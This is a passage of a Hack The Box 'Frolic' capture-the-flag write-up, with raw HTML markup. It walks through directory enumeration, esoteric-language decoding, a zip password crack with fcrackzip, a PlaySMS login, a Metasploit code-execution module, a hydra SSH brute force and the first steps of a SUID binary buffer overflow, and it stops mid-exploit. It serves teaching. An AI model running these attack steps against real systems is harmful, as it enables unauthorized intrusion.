/test &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/dev &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/backup &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/loop &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/24 15:02:01 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's start looking at these endpoints.&lt;/p&gt;

&lt;p&gt;As &lt;code&gt;nikto&lt;/code&gt; found, navigating to &lt;code&gt;/test&lt;/code&gt; reveals the output of &lt;code&gt;phpinfo()&lt;/code&gt;. This has a bunch of information about the target system, but is not particularly interesting to me at this time. I note that it's there to review later if I need it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rCWUsPu5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/phpinfo-test-page.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rCWUsPu5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/phpinfo-test-page.png" alt="phpinfo test page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One particular interesting item is where the web server is located on the file system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'SCRIPT_FILENAME'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On &lt;code&gt;http://10.10.10.111:9999/backup&lt;/code&gt; I find what appears to be a list of files underneath this directory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wQQVajM1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/backup-dir.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wQQVajM1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/backup-dir.png" alt="backup dirlist"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sure enough, I find a pair of credentials here.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ejcix9_k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/backup-user.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ejcix9_k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/backup-user.png" alt="backup user"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ZkBCAiP9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/backup-pass.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZkBCAiP9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/backup-pass.png" alt="backup pass"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking back, these appear to be a red herring but, ok, for now let's note them down as possible credentials.&lt;/p&gt;

&lt;p&gt;On &lt;code&gt;http://10.10.10.111:9999/admin&lt;/code&gt; I find a login page. The credentials from &lt;code&gt;/backup&lt;/code&gt; do not work. Inspecting the source code, I see the form doesn't actually submit a web request. Instead, it runs a &lt;code&gt;validate()&lt;/code&gt; function. I also see that a &lt;code&gt;js/login.js&lt;/code&gt; script is imported by this page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--f3NkK2-3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/9999-login-source.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--f3NkK2-3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/9999-login-source.png" alt="login source"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's check out its contents. Looks like I found the credentials to &lt;code&gt;/admin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--t4fbDNww--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/9999-login-creds-source.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--t4fbDNww--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/9999-login-creds-source.png" alt="login source creds"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upon successful login to the &lt;code&gt;/admin&lt;/code&gt; form, I get to a page with a cipher on it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. ….. ….. ….. ….. ..!.? ….. ….. .!?!! .?… ….. ..?.? !.?.. ….. ….. ….! ….. ….. .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ….. ….. .!.!! !!!!! !!!!! !!!.? ….. ….. ….. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… ….. ….. ….! ?!!.? ….. ….. ….. .?.?! .?… ….. ….. …!. !!!!! !!.?. ….. .!?!! .?… …?. ?!.?. ….. ..!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?…. ….. ….. …!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. !…. ….. ..!.! !!!!! !.!!! !!… ….. ….. ….! .?… ….. ….. ….! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ….. .?.?! .?… ….. ….! .?… ….. ….. ..!?! !.?.. ….. ….. ..?.? !.?.. !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ….. …!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !…. ….. ….. ….. !.!.? ….. ….. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ….. ….! ?!!.? ….. ….. ?.?!. ?…. ….. ….. ..!.. ….. ….. .!.?. ….. …!? !!.?! !!!!! !!?.? !.?!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ….. …!? !!.?. ….. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. ….. ….. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ….. ..!.! !!!!! !.?.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I googled around trying to figure out what this is, but wasn't successful. I ended up dumping this entire thing into Google, which brought up a link to the Wikipedia page for the &lt;a href="https://esolangs.org/wiki/Ook!"&gt;Ook! programming language&lt;/a&gt;. It looks like I can execute Ook! code on &lt;a href="https://www.splitbrain.org/_static/ook/"&gt;https://www.splitbrain.org/_static/ook/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The result I get back is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Nothing here check /asdiSIAJJ0QWE9JAS&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;All right, it's one of these servers. I navigate to &lt;code&gt;http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here I get more encoded content.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Putting this content into a file and viewing it with &lt;code&gt;vim&lt;/code&gt;, I notice there are spaces between these lines of content. I remove them with the &lt;code&gt;vim&lt;/code&gt; command &lt;code&gt;:s/ //g&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I then try to decode this message as &lt;code&gt;bas64&lt;/code&gt; on a hunch. I get symbols back, but I don't get a base64 error, so I know I am on the right track. I put the base64-decoded content into a file and see if my system will tell me what it is. It looks like I've decoded a &lt;code&gt;.zip&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--W7F5G-Hs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/second-cipher-decode.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--W7F5G-Hs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/second-cipher-decode.png" alt="second cipher zip"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I try &lt;code&gt;unzip&lt;/code&gt; but it is password-protected. Luckily, zip passwords are easy to crack. I can do so with &lt;a href="https://github.com/hyc/fcrackzip"&gt;fcrackzip&lt;/a&gt;. My favorite wordlist to use for this kind of thing is &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fcrackzip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /usr/share/wordlists/rockyou.txt second_cipher.zip 

PASSWORD FOUND!!!!: pw &lt;span class="o"&gt;==&lt;/span&gt; password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The cracking is nearly instantaneous. Should have tried guessing that to begin with. Unzipping this archive reveals a single file, &lt;code&gt;index.php&lt;/code&gt;. The content of the file is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b797&lt;br&gt;
37250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7&lt;br&gt;
973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b79737550437&lt;br&gt;
3674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5&lt;br&gt;
330744c5330674c6a77724b7973670d0a4b317374506973674b7973725046306750697&lt;br&gt;
3724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7&lt;br&gt;
973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b317&lt;br&gt;
3674c5434744c5330675046302b4c5330674c5330744c533467504373724b797367577&lt;br&gt;
9302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here we go again. This content looks like it is hex-encoded. I head over to &lt;a href="https://gchq.github.io/CyberChef/"&gt;CyberChef&lt;/a&gt;, provided by the wonderful &lt;a href="https://www.gchq.gov.uk/"&gt;GCHQ&lt;/a&gt;. If you'd rather not use their GitHUb Pages site, CyberChef can be downloaded and run entirely locally from an html file and some js.&lt;/p&gt;

&lt;p&gt;The hex-decoded content is easily identifiable as base64 so I add that rule to CyberChef and see the result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AB-NawxW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/third-cipher-to-brainfuck.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AB-NawxW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/frolic/third-cipher-to-brainfuck.png" alt="cyberchef results"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I know from past CTF experiences that this is the beloved &lt;a href="https://en.wikipedia.org/wiki/Brainfuck"&gt;brainfuck programming language&lt;/a&gt;. There is another decoder to use, &lt;a href="https://www.dcode.fr/brainfuck-language"&gt;https://www.dcode.fr/brainfuck-language&lt;/a&gt;, and this reveals the content:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;idkwhatispass&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Seems I've reached the end of this exercise, and got what is probably a password to something.&lt;/p&gt;

&lt;p&gt;I don't have a clear next direction, so I return to performing additional enumeration. I run &lt;code&gt;gobuster&lt;/code&gt; against the directories I've previously found and discover a few additional items under &lt;code&gt;/dev&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 30 &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.111:9999/dev/ &lt;span class="nt"&gt;-x&lt;/span&gt; txt,php

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://10.10.10.111:9999/dev/
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        30
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1
&lt;span class="o"&gt;[&lt;/span&gt;+] Extensions:     txt,php
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/24 15:45:12 Starting gobuster
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/test &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt;
/backup &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/24 15:53:17 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigating to &lt;code&gt;http://10.10.10.111:9999/dev/backup&lt;/code&gt; returns a page with the content &lt;code&gt;/playsms&lt;/code&gt;. &lt;code&gt;http://10.10.10.111:9999/dev/backup/playsms&lt;/code&gt; doesn't return anything. &lt;code&gt;http://10.10.10.111:9999/playsms&lt;/code&gt; resolves, however, and gives me a login page for &lt;a href="https://playsms.org/"&gt;PlaySMS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The default PlaySMS user is &lt;code&gt;admin&lt;/code&gt;. I take the password I found, &lt;code&gt;idkwhatispass&lt;/code&gt;, and successfully login to the service.&lt;/p&gt;

&lt;p&gt;Additionally, it appears that PlaySMS is vulnerable to several exploits.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;searchsploit playsms
&lt;span class="nt"&gt;-------------------------------------------------------------------------------&lt;/span&gt; &lt;span class="nt"&gt;---------------------------------&lt;/span&gt;
 Exploit Title                                                                 |  Path
&lt;span class="nt"&gt;-------------------------------------------------------------------------------&lt;/span&gt; &lt;span class="nt"&gt;---------------------------------&lt;/span&gt;
PlaySMS - &lt;span class="s1"&gt;'import.php'&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Authenticated&lt;span class="o"&gt;)&lt;/span&gt; CSV File Upload Code Execution &lt;span class="o"&gt;(&lt;/span&gt;Metaspl | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution &lt;span class="o"&gt;(&lt;/span&gt;Metaspl | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                    | linux/remote/404.pl
PlaySms 0.8 - &lt;span class="s1"&gt;'index.php'&lt;/span&gt; Cross-Site Scripting                                 | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                          | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                        | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                   | php/webapps/30177.txt
PlaySMS 1.4 - &lt;span class="s1"&gt;'/sendfromfile.php'&lt;/span&gt; Remote Code Execution / Unrestricted File Up | php/webapps/42003.txt
PlaySMS 1.4 - &lt;span class="s1"&gt;'import.php'&lt;/span&gt; Remote Code Execution                               | php/webapps/42044.txt
PlaySMS 1.4 - &lt;span class="s1"&gt;'sendfromfile.php?Filename'&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Authenticated&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="s1"&gt;'Code Execution (Met | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                            | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                     | php/webapps/48199.txt
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most interesting to me is the code execution module in Metasploit. Let's try it out. Searching in Metasploit, I find three modules relevant to &lt;code&gt;playsms&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;exploit/multi/http/playsms_filename_exec&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exploit/multi/http/playsms_template_injection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exploit/multi/http/playsms_uploadcsv_exec&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code&gt;searchsploit&lt;/code&gt; results mentioned &lt;code&gt;CSV File Upload Code Execution&lt;/code&gt; so I'll try the third module. It gets me a user shell as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Time to move to Information Gathering on the target system.&lt;/p&gt;

&lt;p&gt;I see that there are two users on the system, &lt;code&gt;ayush&lt;/code&gt; and &lt;code&gt;sahay&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:~/html/playsms&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home
total 16
drwxr-xr-x  4 root  root  4096 Sep 23  2018 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 22 root  root  4096 Sep 23  2018 ..
drwxr-xr-x  3 ayush ayush 4096 Sep 25  2018 ayush
drwxr-xr-x  7 sahay sahay 4096 Sep 25  2018 sahay
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I have collected several passwords at this point, so let's try brute forcing an SSH login as either of these two users with any of those passwords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt ssh://10.10.10.111

Hydra v9.0 &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 2019 by van Hauser/THC - Please &lt;span class="k"&gt;do &lt;/span&gt;not use &lt;span class="k"&gt;in &lt;/span&gt;military or secret service organizations, or &lt;span class="k"&gt;for &lt;/span&gt;illegal purposes.

Hydra &lt;span class="o"&gt;(&lt;/span&gt;https://github.com/vanhauser-thc/thc-hydra&lt;span class="o"&gt;)&lt;/span&gt; starting at 2020-06-24 16:08:05
&lt;span class="o"&gt;[&lt;/span&gt;WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use &lt;span class="nt"&gt;-t&lt;/span&gt; 4
&lt;span class="o"&gt;[&lt;/span&gt;DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries &lt;span class="o"&gt;(&lt;/span&gt;l:2/p:4&lt;span class="o"&gt;)&lt;/span&gt;, ~1 try per task
&lt;span class="o"&gt;[&lt;/span&gt;DATA] attacking ssh://10.10.10.111:22/
1 of 1 target completed, 0 valid passwords found
Hydra &lt;span class="o"&gt;(&lt;/span&gt;https://github.com/vanhauser-thc/thc-hydra&lt;span class="o"&gt;)&lt;/span&gt; finished at 2020-06-24 16:08:08
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is not successful. However, I can read the user flag from &lt;code&gt;/home/ayush/user.txt&lt;/code&gt; as the &lt;code&gt;www-data&lt;/code&gt; user.&lt;/p&gt;

&lt;p&gt;In the &lt;code&gt;ayush&lt;/code&gt; home directory, there is a &lt;code&gt;.binary&lt;/code&gt; directory with a SETUID binary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/home/ayush/.binary&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 ..
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root  root  7480 Sep 25  2018 rop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fact that it has the SUID sticky bit set (&lt;code&gt;-rws&lt;/code&gt;) means that when I execute this file, I will execute it with the privileges of the user of the file, which is &lt;code&gt;root&lt;/code&gt;. That this file is named &lt;code&gt;rop&lt;/code&gt; (&lt;a href="https://ctf101.org/binary-exploitation/return-oriented-programming/"&gt;return oriented programming&lt;/a&gt;) makes me think this will require a buffer overflow.&lt;/p&gt;

&lt;p&gt;Sure enough, inspecting the system calls that the binary makes with &lt;code&gt;ltrace&lt;/code&gt; shows that it runs &lt;code&gt;setuid(0)&lt;/code&gt; to run as root and then copies our input into a buffer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/home/ayush/.binary&lt;span class="nv"&gt;$ &lt;/span&gt;ltrace ./rop &lt;span class="nb"&gt;id
&lt;/span&gt;ltrace ./rop &lt;span class="nb"&gt;id
&lt;/span&gt;__libc_start_main&lt;span class="o"&gt;(&lt;/span&gt;0x804849b, 2, 0xbffffe84, 0x8048540 &amp;lt;unfinished ...&amp;gt;
setuid&lt;span class="o"&gt;(&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;                                        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;
strcpy&lt;span class="o"&gt;(&lt;/span&gt;0xbffffd88, &lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;                         &lt;span class="o"&gt;=&lt;/span&gt; 0xbffffd88
&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"[+] Message sent: "&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;                     &lt;span class="o"&gt;=&lt;/span&gt; 18
&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;                                     &lt;span class="o"&gt;=&lt;/span&gt; 2
+++ exited &lt;span class="o"&gt;(&lt;/span&gt;status 0&lt;span class="o"&gt;)&lt;/span&gt; +++
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can confirm a vulnerable buffer overflow by sending in some large input.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/home/ayush/.binary&lt;span class="nv"&gt;$ &lt;/span&gt;./rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault &lt;span class="o"&gt;(&lt;/span&gt;core dumped&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I got a segfault, so there's a buffer overflow here. Because it has the SUID bit set, I am sure this is how to escalate my privileges.&lt;/p&gt;

&lt;p&gt;I begin by identifying the overflow offset - the amount of input at which the buffer begins to overflow. I use &lt;code&gt;pattern_create&lt;/code&gt; and &lt;code&gt;pattern_offset&lt;/code&gt; on Kali to identify this.&lt;/p&gt;

&lt;p&gt;I base64-encode the &lt;code&gt;rop&lt;/code&gt; file, copy the base64 result, and decode it on my local machine so I can develop an exploit against this file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdp ./rop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@kali-pop:~/shares/htb/frolic&lt;span class="nv"&gt;$ &lt;/span&gt;msf-pattern_create &lt;span class="nt"&gt;-l&lt;/span&gt; 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using this pattern as the input to &lt;code&gt;rop&lt;/code&gt;, &lt;code&gt;gdb&lt;/code&gt; tells me what was in the buffer at the time I hit the segfault.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
